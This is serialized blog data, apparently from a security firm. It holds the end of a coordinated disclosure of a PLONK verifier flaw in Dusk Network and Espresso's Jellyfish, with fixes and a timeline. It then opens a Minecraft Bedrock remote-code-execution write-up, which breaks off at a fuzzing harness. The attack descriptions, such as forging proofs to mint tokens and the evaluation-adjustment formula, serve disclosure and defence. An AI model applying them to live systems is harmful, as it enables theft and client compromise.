(",{"type":22,"tag":42,"props":148131,"children":148134},{"href":148132,"rel":148133},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[46],[148135],{"type":28,"value":148136},"preverify path",{"type":28,"value":148138},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":22,"tag":4029,"props":148140,"children":148141},{},[148142,148147,148152],{"type":22,"tag":68,"props":148143,"children":148144},{},[148145],{"type":28,"value":148146},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":22,"tag":68,"props":148148,"children":148149},{},[148150],{"type":28,"value":148151},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":22,"tag":68,"props":148153,"children":148154},{},[148155],{"type":28,"value":148156},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":22,"tag":31,"props":148158,"children":148159},{},[148160],{"type":28,"value":148161},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":22,"tag":4029,"props":148163,"children":148164},{},[148165,148170,148180,148192,148197],{"type":22,"tag":68,"props":148166,"children":148167},{},[148168],{"type":28,"value":148169},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":22,"tag":68,"props":148171,"children":148172},{},[148173,148175],{"type":28,"value":148174},"The malicious wallet forges a PLONK proof to create ",{"type":22,"tag":74,"props":148176,"children":148177},{},[148178],{"type":28,"value":148179},"2000 DUSK from nothing",{"type":22,"tag":68,"props":148181,"children":148182},{},[148183,148185,148190],{"type":28,"value":148184},"The malicious wallet transfers ",{"type":22,"tag":74,"props":148186,"children":148187},{},[148188],{"type":28,"value":148189},"1337 DUSK",{"type":28,"value":148191}," to the honest wallet using a normal (honestly-proved) transaction",{"type":22,"tag":68,"props":148193,"children":148194},{},[148195],{"type":28,"value":148196},"The honest node validates both transactions and mines them into blocks",{"type":22,"tag":68,"props":148198,"children":148199},{},[148200],{"type":28,"value":148201},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":22,"tag":31,"props":148203,"children":148204},{},[148205],{"type":22,"tag":5928,"props":148206,"children":148209},{"alt":148207,"src":148208},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":22,"tag":31,"props":148211,"children":148212},{},[148213,148215,148221,148223,148230],{"type":28,"value":148214},"At the time of discovery, DUSK's market cap was roughly ",{"type":22,"tag":42,"props":148216,"children":148218},{"href":143516,"rel":148217},[46],[148219],{"type":28,"value":148220},"~60M",{"type":28,"value":148222},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":22,"tag":42,"props":148224,"children":148227},{"href":148225,"rel":148226},"https://neptune.cash/articles/critical-vulnerability-disclosure",[46],[148228],{"type":28,"value":148229},"Triton VM vulnerability",{"type":28,"value":292},{"type":22,"tag":20760,"props":148232,"children":148233},{},[],{"type":22,"tag":23,"props":148235,"children":148237},{"id":148236},"the-fix",[148238],{"type":28,"value":148239},"The fix",{"type":22,"tag":31,"props":148241,"children":148242},{},[148243],{"type":28,"value":148244},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":22,"tag":64,"props":148246,"children":148247},{},[148248,148293],{"type":22,"tag":68,"props":148249,"children":148250},{},[148251,148253,148264,148266,148272,148273,148279,148280,148286,148287],{"type":28,"value":148252},"Extend ",{"type":22,"tag":42,"props":148254,"children":148257},{"href":148255,"rel":148256},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[46],[148258],{"type":22,"tag":114,"props":148259,"children":148261},{"className":148260},[],[148262],{"type":28,"value":148263},"compute_aggregate_witness",{"type":28,"value":148265}," on the prover side to also include ",{"type":22,"tag":114,"props":148267,"children":148269},{"className":148268},[],[148270],{"type":28,"value":148271},"q_arith",{"type":28,"value":231},{"type":22,"tag":114,"props":148274,"children":148276},{"className":148275},[],[148277],{"type":28,"value":148278},"q_c",{"type":28,"value":231},{"type":22,"tag":114,"props":148281,"children":148283},{"className":148282},[],[148284],{"type":28,"value":148285},"q_l",{"type":28,"value":8497},{"type":22,"tag":114,"props":148288,"children":148290},{"className":148289},[],[148291],{"type":28,"value":148292},"q_r",{"type":22,"tag":68,"props":148294,"children":148295},{},[148296,148298,148308],{"type":28,"value":148297},"Add their evaluations to ",{"type":22,"tag":42,"props":148299,"children":148302},{"href":148300,"rel":148301},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[46],[148303],{"type":22,"tag":114,"props":148304,"children":148306},{"className":148305},[],[148307],{"type":28,"value":147410},{"type":28,"value":148309}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":22,"tag":31,"props":148311,"children":148312},{},[148313,148315,148322],{"type":28,"value":148314},"This was done in ",{"type":22,"tag":42,"props":148316,"children":148319},{"href":148317,"rel":148318},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[46],[148320],{"type":28,"value":148321},"commit 645265b7",{"type":28,"value":148323},", which landed on February 14, 2026.",{"type":22,"tag":20760,"props":148325,"children":148326},{},[],{"type":22,"tag":23,"props":148328,"children":148330},{"id":148329},"why-was-this-missed",[148331],{"type":28,"value":148332},"Why was this missed?",{"type":22,"tag":31,"props":148334,"children":148335},{},[148336,148338,148345,148346,148353,148355,148362,148364,148371],{"type":28,"value":148337},"Dusk's stack had been heavily audited: a ",{"type":22,"tag":42,"props":148339,"children":148342},{"href":148340,"rel":148341},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[46],[148343],{"type":28,"value":148344},"December 2023 audit of dusk-plonk",{"type":28,"value":125986},{"type":22,"tag":42,"props":148347,"children":148350},{"href":148348,"rel":148349},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[46],[148351],{"type":28,"value":148352},"September 2024 audit of Phoenix",{"type":28,"value":148354},", and a ",{"type":22,"tag":42,"props":148356,"children":148359},{"href":148357,"rel":148358},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[46],[148360],{"type":28,"value":148361},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":148363},". Dusk's public ",{"type":22,"tag":42,"props":148365,"children":148368},{"href":148366,"rel":148367},"https://dusk.network/news/audits-overview",[46],[148369],{"type":28,"value":148370},"audits overview",{"type":28,"value":148372}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":22,"tag":31,"props":148374,"children":148375},{},[148376,148378,148383],{"type":28,"value":148377},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":22,"tag":4764,"props":148379,"children":148380},{},[148381],{"type":28,"value":148382},"evaluations",{"type":28,"value":292},{"type":22,"tag":31,"props":148385,"children":148386},{},[148387],{"type":28,"value":148388},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":22,"tag":31,"props":148390,"children":148391},{},[148392],{"type":28,"value":148393},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":22,"tag":23,"props":148395,"children":148397},{"id":148396},"a-similar-bug-in-espresso-systems-jellyfish",[148398],{"type":28,"value":148399},"A similar bug in Espresso Systems' Jellyfish",{"type":22,"tag":31,"props":148401,"children":148402},{},[148403,148405,148412],{"type":28,"value":148404},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":22,"tag":42,"props":148406,"children":148409},{"href":148407,"rel":148408},"https://github.com/EspressoSystems/jellyfish/",[46],[148410],{"type":28,"value":148411},"jf-plonk",{"type":28,"value":148413}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":22,"tag":31,"props":148415,"children":148416},{},[148417,148419,148426,148428,148439,148441,148466,148468,148493],{"type":28,"value":148418},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":22,"tag":42,"props":148420,"children":148423},{"href":148421,"rel":148422},"https://eprint.iacr.org/2020/315",[46],[148424],{"type":28,"value":148425},"Plookup",{"type":28,"value":148427}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":22,"tag":42,"props":148429,"children":148432},{"href":148430,"rel":148431},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[46],[148433],{"type":22,"tag":114,"props":148434,"children":148436},{"className":148435},[],[148437],{"type":28,"value":148438},"append_plookup_evaluations",{"type":28,"value":148440}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":22,"tag":114,"props":148442,"children":148444},{"className":148443},[5995,5996],[148445],{"type":22,"tag":118,"props":148446,"children":148448},{"className":148447},[6001],[148449],{"type":22,"tag":118,"props":148450,"children":148452},{"className":148451,"ariaHidden":6007},[6006],[148453],{"type":22,"tag":118,"props":148454,"children":148456},{"className":148455},[6012],[148457,148461],{"type":22,"tag":118,"props":148458,"children":148460},{"className":148459,"style":112484},[6017],[],{"type":22,"tag":118,"props":148462,"children":148464},{"className":148463,"style":95129},[6023,23542],[148465],{"type":28,"value":115547},{"type":28,"value":148467}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":22,"tag":114,"props":148469,"children":148471},{"className":148470},[5995,5996],[148472],{"type":22,"tag":118,"props":148473,"children":148475},{"className":148474},[6001],[148476],{"type":22,"tag":118,"props":148477,"children":148479},{"className":148478,"ariaHidden":6007},[6006],[148480],{"type":22,"tag":118,"props":148481,"children":148483},{"className":148482},[6012],[148484,148488],{"type":22,"tag":118,"props":148485,"children":148487},{"className":148486,"style":112484},[6017],[],{"type":22,"tag":118,"props":148489,"children":148491},{"className":148490,"style":95129},[6023,23542],[148492],{"type":28,"value":115547},{"type":28,"value":148494},", so the prover can adjust them after the fact to make the check pass.",{"type":22,"tag":31,"props":148496,"children":148497},{},[148498,148500,148506,148508,148514],{"type":28,"value":148499},"The attack requires modifying a single evaluation (",{"type":22,"tag":114,"props":148501,"children":148503},{"className":148502},[],[148504],{"type":28,"value":148505},"key_table_next_eval",{"type":28,"value":148507},") by ",{"type":22,"tag":114,"props":148509,"children":148511},{"className":148510},[],[148512],{"type":28,"value":148513},"delta / (u * v^3)",{"type":28,"value":148515}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":22,"tag":31,"props":148517,"children":148518},{},[148519,148521,148528,148530,148541],{"type":28,"value":148520},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":22,"tag":42,"props":148522,"children":148525},{"href":148523,"rel":148524},"https://github.com/EspressoSystems/jellyfish/pull/867",[46],[148526],{"type":28,"value":148527},"PR #867",{"type":28,"value":148529}," fixed the issue and was tagged as ",{"type":22,"tag":42,"props":148531,"children":148534},{"href":148532,"rel":148533},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[46],[148535],{"type":22,"tag":114,"props":148536,"children":148538},{"className":148537},[],[148539],{"type":28,"value":148540},"jf-plonk-v0.8.0",{"type":28,"value":148542}," on March 18, 2026.",{"type":22,"tag":20760,"props":148544,"children":148545},{},[],{"type":22,"tag":23,"props":148547,"children":148549},{"id":148548},"toward-standardization",[148550],{"type":28,"value":148551},"Toward standardization",{"type":22,"tag":31,"props":148553,"children":148554},{},[148555,148557,148564],{"type":28,"value":148556},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":22,"tag":42,"props":148558,"children":148561},{"href":148559,"rel":148560},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[46],[148562],{"type":28,"value":148563},"similar patterns appear across zkVMs",{"type":28,"value":148565},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":22,"tag":31,"props":148567,"children":148568},{},[148569],{"type":28,"value":148570},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":22,"tag":31,"props":148572,"children":148573},{},[148574],{"type":28,"value":148575},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":22,"tag":23,"props":148577,"children":148578},{"id":62764},[148579],{"type":28,"value":148580},"Disclosure timeline",{"type":22,"tag":57685,"props":148582,"children":148583},{},[148584,148600],{"type":22,"tag":124594,"props":148585,"children":148586},{},[148587],{"type":22,"tag":124598,"props":148588,"children":148589},{},[148590,148595],{"type":22,"tag":124602,"props":148591,"children":148592},{},[148593],{"type":28,"value":148594},"Date",{"type":22,"tag":124602,"props":148596,"children":148597},{},[148598],{"type":28,"value":148599},"Event",{"type":22,"tag":124622,"props":148601,"children":148602},{},[148603,148616,148629,148641,148667,148687],{"type":22,"tag":124598,"props":148604,"children":148605},{},[148606,148611],{"type":22,"tag":124629,"props":148607,"children":148608},{},[148609],{"type":28,"value":148610},"2026-02-13",{"type":22,"tag":124629,"props":148612,"children":148613},{},[148614],{"type":28,"value":148615},"Dusk vulnerability reported",{"type":22,"tag":124598,"props":148617,"children":148618},{},[148619,148624],{"type":22,"tag":124629,"props":148620,"children":148621},{},[148622],{"type":28,"value":148623},"2026-02-14",{"type":22,"tag":124629,"props":148625,"children":148626},{},[148627],{"type":28,"value":148628},"Dusk acknowledged",{"type":22,"tag":124598,"props":148630,"children":148631},{},[148632,148636],{"type":22,"tag":124629,"props":148633,"children":148634},{},[148635],{"type":28,"value":148623},{"type":22,"tag":124629,"props":148637,"children":148638},{},[148639],{"type":28,"value":148640},"Dusk fix committed",{"type":22,"tag":124598,"props":148642,"children":148643},{},[148644,148649],{"type":22,"tag":124629,"props":148645,"children":148646},{},[148647],{"type":28,"value":148648},"2026-02-27",{"type":22,"tag":124629,"props":148650,"children":148651},{},[148652,148654,148665],{"type":28,"value":148653},"Public ",{"type":22,"tag":42,"props":148655,"children":148658},{"href":148656,"rel":148657},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[46],[148659],{"type":22,"tag":114,"props":148660,"children":148662},{"className":148661},[],[148663],{"type":28,"value":148664},"dusk-rusk-1.6.0",{"type":28,"value":148666}," release published",{"type":22,"tag":124598,"props":148668,"children":148669},{},[148670,148675],{"type":22,"tag":124629,"props":148671,"children":148672},{},[148673],{"type":28,"value":148674},"2026-03-16",{"type":22,"tag":124629,"props":148676,"children":148677},{},[148678,148680,148686],{"type":28,"value":148679},"Jellyfish fix PR opened (",{"type":22,"tag":42,"props":148681,"children":148683},{"href":148523,"rel":148682},[46],[148684],{"type":28,"value":148685},"#867",{"type":28,"value":3627},{"type":22,"tag":124598,"props":148688,"children":148689},{},[148690,148695],{"type":22,"tag":124629,"props":148691,"children":148692},{},[148693],{"type":28,"value":148694},"2026-03-18",{"type":22,"tag":124629,"props":148696,"children":148697},{},[148698,148700,148705,148707],{"type":28,"value":148699},"Jellyfish fix merged in ",{"type":22,"tag":42,"props":148701,"children":148703},{"href":148523,"rel":148702},[46],[148704],{"type":28,"value":148685},{"type":28,"value":148706}," and tagged as ",{"type":22,"tag":42,"props":148708,"children":148710},{"href":148532,"rel":148709},[46],[148711],{"type":22,"tag":114,"props":148712,"children":148714},{"className":148713},[],[148715],{"type":28,"value":148540},{"type":22,"tag":23,"props":148717,"children":148719},{"id":148718},"acknowledgements",[148720],{"type":28,"value":148721},"Acknowledgements",{"type":22,"tag":31,"props":148723,"children":148724},{},[148725],{"type":28,"value":148726},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":142,"depth":142,"links":148728},[148729,148736,148737,148738,148739,148740,148741,148742,148743,148744,148745,148746],{"id":143546,"depth":142,"text":143549,"children":148730},[148731,148732,148733,148734,148735],{"id":143571,"depth":177,"text":143574},{"id":144374,"depth":177,"text":144377},{"id":145572,"depth":177,"text":145575},{"id":145602,"depth":177,"text":145605},{"id":145883,"depth":177,"text":145886},{"id":146616,"depth":142,"text":146619},{"id":146754,"depth":142,"text":146757},{"id":91897,"depth":142,"text":147385},{"id":147984,"depth":142,"text":147987},{"id":148121,"depth":142,"text":148124},{"id":148236,"depth":142,"text":148239},{"id":148329,"depth":142,"text":148332},{"id":148396,"depth":142,"text":148399},{"id":148548,"depth":142,"text":148551},{"id":62764,"depth":142,"text":148580},{"id":148718,"depth":142,"text":148721},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148751,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148752,"description":148753,"date":148754,"author":125253,"image":148755,"isFeatured":15,"onBlogPage":15,"tags":148757,"body":148760,"_type":4896,"_id":158140,"_source":4898,"_file":158141,"_stem":158142,"_extension":4901},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148756,"width":98864,"height":13},"/posts/minecraft-heap-overflow-to-rce/title.png",[148758,148759],"minecraft","rce",{"type":19,"children":148761,"toc":158117},[148762,148767,148772,148777,148783,148788,148807,148812,148818,148823,148828,148834,148839,148844,148849,148855,148860,148865,148871,148891,148903,148910,148932,148946,148953,148959,148969,148989,148994,149000,149013,149358,149363,149371,149377,149396,149704,149732,149775,149787,149795,149800,150269,150288,150309,150651,150675,150947,150971,150998,151207,151226,151234,151253,151259,151321,151324,151346,151350,151355,151360,151366,151371,151385,151391,151405,151411,151424,151429,151437,151442,151448,151469,151477,151490,151493,151498,151512,151517,151522,151528,151533,151556,151561,151567,151572,151584,151596,151710,151730,151735,151740,151746,151751,151771,152386,152399,153473,153478,153486,153491,153497,153502,153510,153523,153528,153533,153540,153553,153558,153565,153620,153640,153647,153666,153673,153676,153681,153686,153692,153704,153717,153725,153796,153807,153841,153849,153854,153859,153865,153877,153896,153908,153913,153921,153940,153948,153967,153975,154001,154009,154014,154022,154027,154035,154038,154043,154048,154054,154067,154085,154123,154153,154161,154166,154172,154177,154182,154188,154200,154369,154381,154389,154394,154401,154406,154467,154514,154526,154531,154557,154631,154669,154674,154682,154703,154708,154734,154768,154821,154868,154874,154893,154925,154933,155036,155107,155113,155139,155146,155151,155158,155163,155404,155430,155435,155483,155488,155494,155526,155538,155570,155578,155617,155625,155630,155638,155643,155651,155663,155671,155683,155691,155703,155723,155729,155749,155766,155774,155786,155794,155813,155818,155826,155831,155839,155865,155876,155883,155888,155896,155901,155909,155914,155922,155927,155935,155940,155948,155953,155961,156002,156009,156014,156022,156027,156035,156040,156048,156053,156058,156066,156071,156079,156105,156113,156139,156147,156152,156160,156165,156173,156181,156186,156194,156199,156207,156210,156221,156255,156273,156281,156301,156307,156326,156384,156404,156412,156415,156454,156514,156519,156525,156538,156546,156598,156637,156645,156678,156681,156701,156709,156715,156720,156728,156768,156809,156829,156834,156839,156857,156863,156868,156887,156948,156956,156982,156988,157008,157013,157018,157025,157090,157095,157102,157123,157128,157140,157146,157179,157186,157191,157219,157226,157282,157294,157301,157362,157381,157387,157421,157442,157469,157477,157530,157600,157606,157626,157669,157674,158072,158078,158083,158094,158098,158103,158108,158113],{"type":22,"tag":37313,"props":148763,"children":148765},{"id":148764},"pwning-minecraft-4-byte-heap-overflow-to-rce",[148766],{"type":28,"value":148752},{"type":22,"tag":31,"props":148768,"children":148769},{},[148770],{"type":28,"value":148771},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":22,"tag":31,"props":148773,"children":148774},{},[148775],{"type":28,"value":148776},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":22,"tag":23,"props":148778,"children":148780},{"id":148779},"the-target",[148781],{"type":28,"value":148782},"The Target",{"type":22,"tag":31,"props":148784,"children":148785},{},[148786],{"type":28,"value":148787},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":22,"tag":31,"props":148789,"children":148790},{},[148791,148793,148798,148800,148805],{"type":28,"value":148792},"There are two main editions: ",{"type":22,"tag":74,"props":148794,"children":148795},{},[148796],{"type":28,"value":148797},"Minecraft Java Edition",{"type":28,"value":148799},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":22,"tag":74,"props":148801,"children":148802},{},[148803],{"type":28,"value":148804},"Minecraft Bedrock Edition",{"type":28,"value":148806},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":22,"tag":31,"props":148808,"children":148809},{},[148810],{"type":28,"value":148811},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":22,"tag":1289,"props":148813,"children":148815},{"id":148814},"choice-of-context",[148816],{"type":28,"value":148817},"Choice of Context",{"type":22,"tag":31,"props":148819,"children":148820},{},[148821],{"type":28,"value":148822},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":22,"tag":31,"props":148824,"children":148825},{},[148826],{"type":28,"value":148827},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":22,"tag":1289,"props":148829,"children":148831},{"id":148830},"resource-packs",[148832],{"type":28,"value":148833},"Resource Packs",{"type":22,"tag":31,"props":148835,"children":148836},{},[148837],{"type":28,"value":148838},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":22,"tag":31,"props":148840,"children":148841},{},[148842],{"type":28,"value":148843},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":22,"tag":31,"props":148845,"children":148846},{},[148847],{"type":28,"value":148848},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":22,"tag":23,"props":148850,"children":148852},{"id":148851},"finding-a-memory-corruption-bug",[148853],{"type":28,"value":148854},"Finding a Memory Corruption Bug",{"type":22,"tag":31,"props":148856,"children":148857},{},[148858],{"type":28,"value":148859},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":22,"tag":31,"props":148861,"children":148862},{},[148863],{"type":28,"value":148864},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":22,"tag":1289,"props":148866,"children":148868},{"id":148867},"locating-image-parsing-code",[148869],{"type":28,"value":148870},"Locating Image Parsing Code",{"type":22,"tag":31,"props":148872,"children":148873},{},[148874,148876,148882,148883,148889],{"type":28,"value":148875},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":22,"tag":114,"props":148877,"children":148879},{"className":148878},[],[148880],{"type":28,"value":148881},"PNG",{"type":28,"value":15128},{"type":22,"tag":114,"props":148884,"children":148886},{"className":148885},[],[148887],{"type":28,"value":148888},"GIF",{"type":28,"value":148890}," and look for error logging or other messages that use those substrings.",{"type":22,"tag":31,"props":148892,"children":148893},{},[148894,148896,148901],{"type":28,"value":148895},"Searching for the string ",{"type":22,"tag":114,"props":148897,"children":148899},{"className":148898},[],[148900],{"type":28,"value":148888},{"type":28,"value":148902}," returned some interesting results:",{"type":22,"tag":31,"props":148904,"children":148905},{},[148906],{"type":22,"tag":5928,"props":148907,"children":148909},{"alt":52519,"src":148908},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":22,"tag":31,"props":148911,"children":148912},{},[148913,148915,148922,148924,148931],{"type":28,"value":148914},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":22,"tag":42,"props":148916,"children":148919},{"href":148917,"rel":148918},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[46],[148920],{"type":28,"value":148921},"stb_image.h",{"type":28,"value":148923},". For an example: usage of ",{"type":22,"tag":42,"props":148925,"children":148928},{"href":148926,"rel":148927},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[46],[148929],{"type":28,"value":148930},"bad Image Descriptor",{"type":28,"value":292},{"type":22,"tag":31,"props":148933,"children":148934},{},[148935,148937,148944],{"type":28,"value":148936},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":22,"tag":42,"props":148938,"children":148941},{"href":148939,"rel":148940},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[46],[148942],{"type":28,"value":148943},"stbi__gif_load_next",{"type":28,"value":148945},", and loaded the resource pack - this confirmed its usage:",{"type":22,"tag":31,"props":148947,"children":148948},{},[148949],{"type":22,"tag":5928,"props":148950,"children":148952},{"alt":52519,"src":148951},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":22,"tag":1289,"props":148954,"children":148956},{"id":148955},"stb-image-library",[148957],{"type":28,"value":148958},"STB Image Library",{"type":22,"tag":31,"props":148960,"children":148961},{},[148962,148967],{"type":22,"tag":114,"props":148963,"children":148965},{"className":148964},[],[148966],{"type":28,"value":148921},{"type":28,"value":148968}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":22,"tag":31,"props":148970,"children":148971},{},[148972,148974,148979,148981,148988],{"type":28,"value":148973},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":22,"tag":114,"props":148975,"children":148977},{"className":148976},[],[148978],{"type":28,"value":148921},{"type":28,"value":148980}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":22,"tag":42,"props":148982,"children":148985},{"href":148983,"rel":148984},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[46],[148986],{"type":28,"value":148987},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":292},{"type":22,"tag":31,"props":148990,"children":148991},{},[148992],{"type":28,"value":148993},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":22,"tag":1899,"props":148995,"children":148997},{"id":148996},"fuzzing",[148998],{"type":28,"value":148999},"Fuzzing",{"type":22,"tag":31,"props":149001,"children":149002},{},[149003,149005,149012],{"type":28,"value":149004},"The fuzzer consisted of a very simple ",{"type":22,"tag":42,"props":149006,"children":149009},{"href":149007,"rel":149008},"https://github.com/AFLplusplus/AFLplusplus",[46],[149010],{"type":28,"value":149011},"AFL++",{"type":28,"value":28682},{"type":22,"tag":107,"props":149014,"children":149016},{"code":149015,"language":5169,"meta":7,"className":18481,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[149017],{"type":22,"tag":114,"props":149018,"children":149019},{"__ignoreMap":7},[149020,149033,149045,149052,149098,149110,149131,149138,149162,149177,149184,149191,149263,149287,149302,149309,149316,149329,149336,149351],{"type":22,"tag":118,"props":149021,"children":149022},{"class":120,"line":121},[149023,149028],{"type":22,"tag":118,"props":149024,"children":149025},{"style":1480},[149026],{"type":28,"value":149027},"#define",{"type":22,"tag":118,"props":149029,"children":149030},{"style":532},[149031],{"type":28,"value":149032}," STB_IMAGE_IMPLEMENTATION\n",{"type":22,"tag":118,"props":149034,"children":149035},{"class":120,"line":142},[149036,149040],{"type":22,"tag":118,"props":149037,"children":149038},{"style":1480},[149039],{"type":28,"value":92011},{"type":22,"tag":118,"props":149041,"children":149042},{"style":1866},[149043],{"type":28,"value":149044}," 